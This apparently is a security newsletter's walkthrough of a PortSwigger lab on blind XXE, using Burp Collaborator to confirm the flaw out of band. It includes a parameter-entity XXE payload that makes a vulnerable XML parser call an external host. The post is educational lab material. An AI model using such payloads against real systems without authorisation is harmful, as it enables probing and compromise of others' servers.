Blind XXE with OOB Interaction via XML Parameter Entities
Cybersec Café #37 - 10/15/24
Welcome back to the Methodology Walkthrough at the Cybersec Cafe. Today, we’ll be learning about a vulnerability that is more like the real-world - a vulnerability that is blind.
What does it mean to be blind? Well, essentially it means that the app itself is not going to verify the vulnerability for us through any form of reflection. Instead, we’ll have to use alternative techniques to verify the presence of a vulnerability.
Objective
Use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator
What is an XXE Vulnerability?
An XXE (XML External Entity) vulnerability occurs when an XML input containing a reference to an external entity is processed by a weakly configured XML parser. This allows attackers to access sensitive data, perform server-side request forgery (SSRF), or execute denial-of-service (DoS) attacks by exploiting the application's ability to retrieve or manipulate external files or resources.
Methodology
The Recon
Upon opening the application, we’re met with a shop pae that has no ability to login:
We’ll be looking for functionality in the app that will be unauthenticated - something to make note of.
Based on the lab, we’ll be searching for something specifically to do with XML.
Let’s click on a product page. We’re met with two apparent actions:
Stock Check
Return to List
It’s likely that Return to List won’t yield anything, so let’s hit the stock check feature to capture the request.
Now, navigate over to the SiteMap in Burp, which we can see already lighting up like a Christmas Tree:
In order to cover all of our basis, kick off an active scan on the root request. This will pick up anything we may have missed.
But, we can already see that Burp is picking up something on the Stock Check, and we can see from a glance there is XML in the request.
Let’s go ahead and right click on the request and send it over to the Repeater for some manual testing.
- Today’s Sponsor -
Prepare for a career in Cybersecurity, one sip at a time with The Security Sip. Learn a new cybersecurity topic each day in an order that encourages learning and prepares you to be a cybersecurity professional. Free and Paid Plans Available!
Testing
Once we get the Request to the Repeater, send a request without changing anything so we can see how the base request functions:
Let’s probe for anything that happens differently with a test payload:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
After placing the payload in the productId and storeId, we can see that both trigger an XML parsing error.
If we take a step back and think about it, we can actually realize this is expected since the lab indicates that we’ll need to trigger an OOB (Out-of-Band) interaction.
So, the lab should not be giving any indication of this being accepted.
Exploitation
Keeping that OOB interaction in mind, let’s head to Collaborator on our Burp instance and spin it up:
Now, let’s take the following payload, which is designed to trigger an OOB communication to our collaborator link that will be kicked off by the stockCheck DOCTYPE in the XML.
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
Replace BURP-COLLABORATOR-SUBDOMAIN with the one in your instance by clicking Copy to Clipboard.
Paste the XML payload in place for both the storeId and productId and see we still get the XML parsing error, but no interaction with our client after clicking Poll Now.
Let’s think about this for a second…
What if we place our payload outsid ethe stockCheck so that our ENTITY can be referenced outside the function?
Still an XML parsing error… but let’s check Collaborator:
We can see we have some interactions with our Collaborator! Lab solved!
What We’ve Learned
We can see that when testing, we can’t always rely on what we see in the app. In many of these labs, we see direct confirmation in the application to verify to us that a vulnerability is present. However, when searching in the real world, this is most likely not going to happen. Vulnerabilities where there is some form of reflection in the app is going to be considered “low-hanging fruit” and will generally either be found before you can, or be picked up by automated testing. It’s important to understand different techniques to trigger out of band interactions to confirm whether the UI is telling you the truth or not.
Want to give the lab a try yourself? You can check it out on PortSwigger’s website here.
Securely Yours,
The Cybersec Cafe
Just a heads up, The Cybersec Cafe's got a pretty cool weekly cadence.
Every week, expect to dive into the hacker’s mindset in our Methodology Walkthroughs or explore Deep Dive articles on various cybersecurity topics.
. . .
Oh, and if you want even more content and updates, hop over to Ryan G. Cox on Twitter/X or my Website. Can't wait to keep sharing and learning together!